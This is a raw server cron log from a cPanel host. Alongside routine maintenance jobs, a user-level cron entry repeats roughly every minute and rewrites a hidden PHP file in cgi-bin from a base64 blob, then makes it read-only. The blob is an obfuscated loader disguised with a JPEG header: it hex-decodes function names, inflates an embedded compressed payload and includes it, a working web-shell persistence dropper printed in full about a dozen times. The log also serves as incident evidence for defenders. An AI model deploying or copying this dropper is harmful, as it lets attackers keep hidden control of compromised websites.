Sep  8 03:29:01 server CROND[1502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:29:01 server CROND[1503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:29:01 server CROND[1504]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:30:01 server CROND[2010]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 03:30:01 server CROND[2014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:30:02 server CROND[2015]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 03:30:02 server CROND[2016]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:30:02 server CROND[2017]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:30:02 server CROND[2019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:30:02 server CROND[2020]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 03:30:02 server CROND[2026]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:31:01 server CROND[2886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:31:01 server CROND[2887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:31:01 server CROND[2888]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:32:01 server CROND[3257]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:32:01 server CROND[3258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:32:01 server CROND[3260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:33:01 server CROND[3626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:33:01 server CROND[3627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:33:01 server CROND[3628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:34:01 server CROND[3993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:34:01 server CROND[3994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:34:01 server CROND[3996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:35:01 server CROND[4368]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:35:01 server CROND[4370]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 03:35:01 server CROND[4372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:35:01 server CROND[4380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:35:01 server CROND[4384]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 03:35:01 server CROND[4381]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:35:01 server CROND[4385]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 03:35:01 server CROND[4379]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 03:35:01 server CROND[4382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:36:01 server CROND[5307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:36:01 server CROND[5308]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:36:01 server CROND[5309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:37:01 server CROND[5671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:37:01 server CROND[5672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:37:01 server CROND[5673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:38:01 server CROND[6062]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:38:01 server CROND[6063]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:38:01 server CROND[6064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:39:01 server CROND[6435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:39:02 server CROND[6438]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:39:02 server CROND[6439]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 03:39:02 server CROND[6437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:40:01 server CROND[6983]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 03:40:01 server CROND[6985]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 03:40:01 server CROND[6988]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:40:01 server CROND[6986]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:40:01 server CROND[6990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:40:01 server CROND[6989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
